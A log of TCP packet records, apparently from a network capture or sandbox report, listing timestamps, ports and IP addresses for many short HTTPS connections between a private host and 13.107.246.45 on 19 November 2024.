Nov 19, 2024 19:15:17.108891964 CET	49950	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.108905077 CET	443	49950	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.109185934 CET	49950	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.109364986 CET	49950	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.109384060 CET	443	49950	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.114326954 CET	443	49944	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.114886045 CET	49944	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.114901066 CET	443	49944	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.115542889 CET	49944	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.115551949 CET	443	49944	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.125464916 CET	443	49947	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.125653982 CET	443	49947	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.125690937 CET	443	49947	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.125737906 CET	49947	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.125777006 CET	49947	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.125777006 CET	49947	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.125798941 CET	49947	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.125812054 CET	443	49947	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.145472050 CET	49951	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.145508051 CET	443	49951	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.145572901 CET	49951	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.145730019 CET	49951	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.145742893 CET	443	49951	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.213674068 CET	443	49944	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.213793993 CET	443	49944	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.213932037 CET	49944	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.352251053 CET	49944	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.352277994 CET	443	49944	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.352332115 CET	49944	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.352339029 CET	443	49944	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.392349958 CET	49952	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.392407894 CET	443	49952	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.392621040 CET	49952	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.395860910 CET	49952	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.395884991 CET	443	49952	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.732812881 CET	443	49948	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.733485937 CET	49948	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.733514071 CET	443	49948	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.734097004 CET	49948	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.734106064 CET	443	49948	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.768785000 CET	443	49950	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.769387007 CET	49950	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.769399881 CET	443	49950	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.769738913 CET	49950	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.769745111 CET	443	49950	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.791203022 CET	443	49951	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.791748047 CET	49951	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.791764021 CET	443	49951	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.792201996 CET	49951	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.792210102 CET	443	49951	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.832899094 CET	443	49948	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.833102942 CET	443	49948	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.833297968 CET	49948	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.833298922 CET	49948	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.833298922 CET	49948	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.836169004 CET	49953	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.836270094 CET	443	49953	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.836358070 CET	49953	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.836608887 CET	49953	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.836656094 CET	443	49953	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.869468927 CET	443	49950	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.869745970 CET	443	49950	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.870007992 CET	49950	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.870007992 CET	49950	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.870043039 CET	49950	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.870054960 CET	443	49950	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.873053074 CET	49954	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.873099089 CET	443	49954	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.873164892 CET	49954	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.873313904 CET	49954	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.873337030 CET	443	49954	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.916577101 CET	443	49951	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.916745901 CET	443	49951	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.916795969 CET	49951	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.916805983 CET	443	49951	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.916850090 CET	49951	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.917009115 CET	49951	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.917025089 CET	443	49951	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.920691967 CET	49955	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.920797110 CET	443	49955	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.920902014 CET	49955	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.921124935 CET	49955	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.921155930 CET	443	49955	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.998394012 CET	443	49949	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.998980999 CET	49949	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.999006033 CET	443	49949	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:17.999449015 CET	49949	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:17.999454021 CET	443	49949	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.139985085 CET	49948	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.140013933 CET	443	49948	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.218933105 CET	443	49949	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.219018936 CET	443	49949	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.219113111 CET	49949	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.219733953 CET	49949	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.219752073 CET	443	49949	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.219765902 CET	49949	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.219772100 CET	443	49949	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.229275942 CET	49956	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.229316950 CET	443	49956	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.229409933 CET	49956	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.229573965 CET	49956	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.229587078 CET	443	49956	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.523112059 CET	443	49953	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.523735046 CET	49953	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.523777962 CET	443	49953	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.524293900 CET	49953	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.524306059 CET	443	49953	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.529073000 CET	443	49954	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.529414892 CET	49954	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.529458046 CET	443	49954	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.529877901 CET	49954	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.529891014 CET	443	49954	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.554400921 CET	443	49955	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.554888010 CET	49955	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.554920912 CET	443	49955	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.555427074 CET	49955	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.555434942 CET	443	49955	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.629120111 CET	443	49954	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.631551027 CET	443	49954	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.633677006 CET	49954	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.633749962 CET	49954	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.633778095 CET	443	49954	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.633795977 CET	49954	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.633805037 CET	443	49954	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.637034893 CET	49957	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.637082100 CET	443	49957	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.637190104 CET	49957	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.637337923 CET	49957	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.637352943 CET	443	49957	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.639972925 CET	443	49953	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.640166998 CET	443	49953	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.640271902 CET	49953	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.640446901 CET	49953	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.640472889 CET	443	49953	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.640491009 CET	49953	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.640499115 CET	443	49953	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.643054008 CET	49958	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.643109083 CET	443	49958	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.643397093 CET	49958	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.643546104 CET	49958	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.643564939 CET	443	49958	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.653415918 CET	443	49955	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.653656960 CET	443	49955	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.653719902 CET	443	49955	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.653798103 CET	49955	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.653991938 CET	49955	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.654016018 CET	443	49955	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.654031038 CET	49955	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.654038906 CET	443	49955	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.656685114 CET	49959	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.656732082 CET	443	49959	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.656833887 CET	49959	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.656985998 CET	49959	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.656999111 CET	443	49959	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.866767883 CET	443	49956	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.867297888 CET	49956	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.867347956 CET	443	49956	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.868072987 CET	49956	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.868081093 CET	443	49956	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.966648102 CET	443	49956	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.966979027 CET	443	49956	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.967036963 CET	49956	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.967086077 CET	49956	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.967086077 CET	49956	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.967113972 CET	443	49956	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.967128992 CET	443	49956	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.971169949 CET	49960	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.971213102 CET	443	49960	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:18.971333981 CET	49960	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.971600056 CET	49960	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:18.971607924 CET	443	49960	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.276509047 CET	443	49957	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.277170897 CET	49957	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.277215004 CET	443	49957	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.277769089 CET	49957	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.277782917 CET	443	49957	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.277884007 CET	443	49958	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.279896975 CET	49958	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.279932022 CET	443	49958	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.280738115 CET	49958	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.280755043 CET	443	49958	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.293730021 CET	443	49959	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.294642925 CET	49959	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.294670105 CET	443	49959	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.295131922 CET	49959	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.295141935 CET	443	49959	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.376353025 CET	443	49958	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.376528978 CET	443	49957	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.376720905 CET	443	49957	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.376816988 CET	49957	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.377026081 CET	443	49958	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.377044916 CET	49957	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.377065897 CET	443	49957	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.377078056 CET	49957	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.377085924 CET	443	49957	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.377093077 CET	49958	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.378766060 CET	49958	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.378803968 CET	443	49958	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.378820896 CET	49958	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.378829002 CET	443	49958	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.381513119 CET	49961	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.381558895 CET	443	49961	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.381736040 CET	49961	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.382508993 CET	49962	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.382560968 CET	443	49962	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.382700920 CET	49961	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.382714033 CET	443	49961	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.382807016 CET	49962	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.382841110 CET	49962	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.382848024 CET	443	49962	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.394958019 CET	443	49959	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.395246029 CET	443	49959	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.395303011 CET	443	49959	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.395371914 CET	49959	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.396276951 CET	49959	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.396291971 CET	443	49959	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.396301985 CET	49959	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.396308899 CET	443	49959	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.398971081 CET	49963	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.398987055 CET	443	49963	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.399117947 CET	49963	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.399331093 CET	49963	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.399339914 CET	443	49963	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.609050989 CET	443	49960	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.610038042 CET	49960	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.610057116 CET	443	49960	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.610424042 CET	49960	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.610430002 CET	443	49960	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.709240913 CET	443	49960	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.709532976 CET	443	49960	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.709661007 CET	49960	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.724015951 CET	49960	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.724015951 CET	49960	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.724037886 CET	443	49960	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.724050999 CET	443	49960	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.729269981 CET	49964	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.729304075 CET	443	49964	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:19.729537010 CET	49964	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.729752064 CET	49964	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:19.729767084 CET	443	49964	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.039870024 CET	443	49963	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.046299934 CET	443	49962	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.058497906 CET	443	49961	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.092088938 CET	49962	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.092153072 CET	49963	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.107705116 CET	49961	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.116004944 CET	49963	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.116014004 CET	443	49963	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.116405010 CET	49963	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.116410971 CET	443	49963	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.116935968 CET	49962	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.116945028 CET	443	49962	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.117640018 CET	49962	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.117645025 CET	443	49962	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.118283987 CET	49961	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.118292093 CET	443	49961	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.119025946 CET	49961	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.119030952 CET	443	49961	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.211044073 CET	443	49963	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.211740017 CET	443	49963	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.211802006 CET	443	49963	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.211920023 CET	49963	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.211920023 CET	49963	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.212111950 CET	49963	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.212131977 CET	443	49963	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.214518070 CET	443	49962	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.214955091 CET	443	49962	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.215198040 CET	49962	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.215456963 CET	49962	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.215470076 CET	443	49962	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.219652891 CET	49965	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.219690084 CET	443	49965	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.220045090 CET	49965	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.221396923 CET	49966	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.221431971 CET	443	49966	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.221478939 CET	49966	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.222058058 CET	49965	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.222069979 CET	443	49965	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.222219944 CET	49966	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.222239971 CET	443	49966	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.231579065 CET	443	49961	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.232019901 CET	443	49961	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.232067108 CET	49961	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.232110977 CET	49961	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.232110977 CET	49961	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.232125044 CET	443	49961	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.232135057 CET	443	49961	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.236860991 CET	49967	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.236882925 CET	443	49967	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.236963034 CET	49967	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.237297058 CET	49967	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.237308025 CET	443	49967	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.385474920 CET	443	49964	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.386262894 CET	49964	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.386288881 CET	443	49964	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.386840105 CET	49964	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.386846066 CET	443	49964	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.489532948 CET	443	49964	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.489622116 CET	443	49964	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.489795923 CET	49964	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.489908934 CET	49964	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.489929914 CET	443	49964	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.489943027 CET	49964	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.489948034 CET	443	49964	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.493206024 CET	49968	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.493251085 CET	443	49968	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.493418932 CET	49968	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.493660927 CET	49968	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.493679047 CET	443	49968	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.861373901 CET	443	49966	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.861881018 CET	49966	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.861895084 CET	443	49966	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.862617016 CET	49966	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.862622976 CET	443	49966	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.894690990 CET	443	49965	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.895169020 CET	49965	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.895179987 CET	443	49965	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.895626068 CET	49965	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.895631075 CET	443	49965	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.934495926 CET	443	49967	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.935096025 CET	49967	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.935105085 CET	443	49967	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.935558081 CET	49967	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.935563087 CET	443	49967	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.963970900 CET	443	49966	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.964581966 CET	443	49966	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.964639902 CET	49966	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.964731932 CET	49966	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.964731932 CET	49966	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.964747906 CET	443	49966	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.964759111 CET	443	49966	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.967626095 CET	49969	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.967638969 CET	443	49969	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.967792034 CET	49969	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.967933893 CET	49969	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:20.967945099 CET	443	49969	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:20.999924898 CET	443	49965	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.000327110 CET	443	49965	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.000376940 CET	443	49965	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:21.000377893 CET	49965	443	192.168.2.4	13.107.246.45
